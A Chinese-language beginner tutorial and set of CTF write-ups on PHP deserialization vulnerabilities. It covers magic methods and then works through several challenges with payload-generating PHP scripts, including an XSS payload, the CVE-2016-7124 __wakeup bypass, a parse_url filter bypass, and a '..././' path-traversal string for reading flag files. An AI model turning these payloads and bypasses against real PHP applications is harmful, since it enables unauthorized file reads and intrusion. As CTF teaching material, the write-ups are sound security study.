前言
最近才开始学习安全，虽然练习过南邮CTF和Bugku的CTF，但是打各种线上CTF经常不尽人意，因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。
看了很多师傅们，各种前辈们的文章，于是想着总结一下已经学到的东西
在我当时PHP基本功不怎么扎实的时候，看反序列化就是一脸懵逼，所以我认为在接触反序列化漏洞之前需要掌握以下内容
1.PHP面向对象
看了上面的文章应该就会了类与对象，一些魔术方法（比较重要的有 __wakeup(),__construct(), __destruct(), __toString()
序列化与反序列化
为什么要进行序列化与反序列化？
起初也是很不理解为什么要费劲周章的去序列化然后反序列化回来，还多了一步操作，看了各种文章，举了各种栗子，无非都是想告诉我们： 序列化的目的是方便数据的传输和存储
再附上网上看到的一段话
PHP 文件在执行结束以后就会将对象销毁，那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策，总不能你永远不让它销毁，等着你吧，于是人们就想出了一种能长久保存对象的方法，这就是 PHP 的序列化，那当我们下次要用的时候只要反序列化一下就 ok 啦
什么是序列化和反序列化？
序列化
关键函数 serialize():将PHP中创建的对象，变成一个字符串
<?php
class test{
public $name = 'P2hm1n';
private $sex = 'secret';
protected $age = '20';
}
$test1 = new test();
$object = serialize($test1);
print_r($object);
?>
经过查阅资料我们发现
private属性序列化的时候格式是 %00类名%00成员名
protected属性序列化的时候格式是 %00*%00成员名
反序列化
关键函数 unserialize():将经过序列化的字符串转换回PHP值
<?php
$object = '经过序列化的字符串';
$test = unserialize($object1);
print_r($test3);
?>
注意：当有 protected 和 private 属性的时候记得补齐空的字符串
为什么会产生反序列化漏洞？
PHP反序列化漏洞又称PHP对象注入，是因为程序对输入数据处理不当导致的
需要具备反序列化漏洞的前提：
必须有 unserailize() 函数
unserailize() 函数的参数必须可控（为了成功达到控制你输入的参数所实现的功能，可能需要绕过一些魔法函数
下面写一个小栗子
<?php
class test{
public $target = 'this is a test';
function __destruct(){
echo $this->target;
}
}
$a = $_GET['b'];
$c = unserialize($a);
?>
上面的栗子就具备了利用反序列化漏洞的前提，因为存在 echo 的原因，我们还可以直接利用xss
<?php
class test{
public $target = '<script>alert(/xss/);</script>';
}
$a = new test();
$a = serialize($a);
echo $a;
?>
很简单的栗子
D0g3平台
一道实验室师傅们出的题：
题目直接给了源码
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
我们可以看到判断条件 unserialize($str) === "$KEY"就会输出flag，且具备了反序列化漏洞的一条：有 unserialize()函数，那么寻找str参数是否可控，向上寻找发现 $str = $_GET['str']; ，通过 GET 型传参，参数可控。这里也就具备了反序列化的两个条件，所以我们直接构造
<?php
$KEY = "D0g3!!!";
echo serialize($KEY)
?>
Bugku-welcome to the bugkuctf
在经历了前面的php伪协议的考点之后，经过base64解码拿到了两个源码
index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
观察到危险函数 unserialize(),跟进一下 hint.php 里有有一个 file_get_contents()函数，可以读取到文件，那么我们只需要观察file是否可控便可轻松解题
因此我们只需要控制 $this->file 就能读到我们想要的文件
<?php
class Flag{//flag.php
public $file = 'flag.php';
}
$a = new Flag();
$a = serialize($a);
echo $a;
?>
当然这道题不只考了反序列化，还需要一些其他操作才能拿到flag
上面的简单栗子都是直接可以通过序列化生成相应的payload然后再反序列化之后实现功能，但是通常不会这么简单的就让你利用成功，所以需要掌握下面的一些东西
一些魔术方法
在绕过魔术方法之前我们需要了解一些魔术方法的运行机制————PHP之十六个魔术方法详解
需要了解一下相对于来说重要函数的运行先后顺序
<?php
class test{
public $name = 'P2hm1n';
function __construct(){
echo "__construct()";
echo "<br><br>";
}
function __destruct(){
echo "__destruct()";
echo "<br><br>";
}
function __wakeup(){
echo "__wakeup()";
echo "<br><br>";
}
function __toString(){
return "__toString()"."<br><br>";
}
function __sleep(){
echo "__sleep()";
echo "<br><br>";
return array("name");
}
}
$test1 = new test();
$test2 = serialize($test1);
$test3 = unserialize($test2);
print($test3);
?>
可以绕过的__weakup()
实际上是一个CVE漏洞，CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。
网上已经有很多讲解了…比如网上的一篇文章 https://blog.csdn.net/qq_19876131/article/details/52890854 就写的比较清楚，我们只需要知道成员数目大于实际数目这个利用的点就行了
盘点近期两道有关反序列化题
第12届全国大学生信息安全竞赛-JustSoso
PHP伪协议+base64解码得到两个文件
index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
<html>
hint.php
<?php
class Handle{
private $handle; //__destruct中被调用从而调用getFlag()
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) { //循环打印，赋值为空
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag(); //调用 Flag 类里面的getFlag方法
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000)); //一到一万产生的随机数经过md5加密
}
public function getFlag(){ //被handle调用
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag) //两者必须相等
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$echof = new Flag();
$Flag->file = "flag.php";
$echoflag = new Handle($echof);
echo serialize($echoflag);
?>
在粗略的看了一下两个文件之后，可能会有点乱（当时的我头脑是很乱的），但是我们只需要明确我们打CTF的目的就是拿到flag…
梳理一下思路如下
index.php文件干了什么事？
GET型传入两个参数 （那么传入的两个参数一定是有用的，通常出题人不会闲得蛋疼多设置几个没用的参数
file不能包含flag关键字
如果设置了payload的话，url被切割，且循环遍历匹配flag关键字，匹配到了就退出
payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~
hint.php文件干了什么事？
既然都叫hint.php了那么hint.php一定大有作为…
纵观 hint.php 包含两个类
其中的一个类叫 Flag，甚至类里有个方法叫getFlag()，所以我们明确我们的目标就是它
打CTF一定要知道自己在干什么，所以先不管其他的，我们只谈反序列化，然后构造payload这个参数
所以在抛弃一切前提下，我们甚至可以构造payload出来
<?php
//假装有两个class
class{
}
class{
}
$echof = new Flag();
$Flag->file = "flag.php";
$echoflag = new Handle($echof);
echo serialize($echoflag);
?>
现在的我们已经能够输出flag了，我们看一下还存在哪些障碍？
输出flag的前提
echo @highlight_file($this->file,true);前有一个判断：$this->token === $this->token_flag
而 $this->token 的值是不会变的，但是 $this->token_flag却会改变
这里有两种思路，其一是爆破，其二是用引用变量来解决这个问题 $Flag->token = &$Flag->token_flag;
__wakeup()每次打印为空？
重点到了，利用本文前面的CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。这样能让 Handle类成功调用 Flag类中的方法
我们的关键词不能有flag？
经过反序列化也罢，我们的关键词始终会含有flag词语，会被正则匹配到…
这里可以使用parse_url的解析漏洞，具体的可以看看 一叶飘零师傅的文章 和 另一位师傅的文章
大概是parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外，对 file:// 协议允许三个斜线（file:///…）。其它任何协议都不能这样。
所以使用三个斜线的话就不会被检测到关键词
其实其他考点都是可以绕过的，最主要的反序列化思想的核心，我认为经过反序列化，有了可以控制的参数之后，就一定要完成某部分的功能，不是为了反序列化而反序列化
DDCTF-Web签到题
题目地址：http://117.51.158.44/index.php
经过信息泄露，抓包等会拿到两个源码…
文件1：Application.php
代码太长了，简化一下有用的功能如下：
Class Application {
var $path = '';
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
文件一大概是对 $path 变量做了一些处理；如：前后去空，并且移除了 ../和 ..\
如果长度小于18的话能够读取 $path 变量的文件的内容,能够读取 $path 变量的文件的内容,能够读取 $path 变量的文件的内容
因此我们构造初步的payload （其实结合了一些文件2的信息才能构造路径）为：../config/flag.txt,但是此时需要绕过文件一中的一个 str_replace() 函数，且长度要小于18，故而再次构造为 ..././config/flag.txt (需要注意的是此刻的长度虽然是21，但是经过一次前面的 str_replace（） 替换 ../ 为空之后，长度就刚好为18
文件2：app/Session.php
//url:app/Session.php
include 'Application.php'; //包含文件一
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) { //通过parent::调用父类方法
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt'); //flag可能也在这个文件夹里面
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error'); //通过parent::调用父类方法
return FALSE;
}
$session = unserialize($session); //反序列化
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) { //POST的不为空
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) { //打印变量
$data = sprintf($data,$v); //输出
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata); //序列化
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
?>
我们回顾一下反序列化执行的方法：
必须有 unserailize() 函数，
unserailize() 函数的参数必须可控
首先映入眼帘的是文件二中第55行的 $session = unserialize($session); 这一步执行了危险函数 unserialize()
文件一被包含进文件二，因此可以利用文件一中 __destruct()来执行文件读取的功能。
结合有用的信息，就是通过 session 的反序列化来控制 $path 变量进而得到 flag，第34行的注释//eancrykey and flag under the folder提供了相应的位置
因此我们通过控制 $path 变量可以获取到flag，控制 $path 需要通过反序列化。
但是这道题还有其他的考点，因为需要伪造一个cookie才能拿到相应的 key 才能进行反序列化。
因为单谈反序列化，所以我们简化一下本题。构造最终payload为
<?php
Class Application {
var $path = '..././config/flag.txt';
}
$a = new Application();
$a = serialize($a);
print_r($a);
?>
想看完整wp的可以移步 DDCTF2019官方Write Up
反序列化还有什么？
下面两个因为也只是略懂，还没有深入研究，所以就不继续写了，附上两篇当初学习的文章
phar 拓展 php 反序列化漏洞攻击面：https://paper.seebug.org/680/
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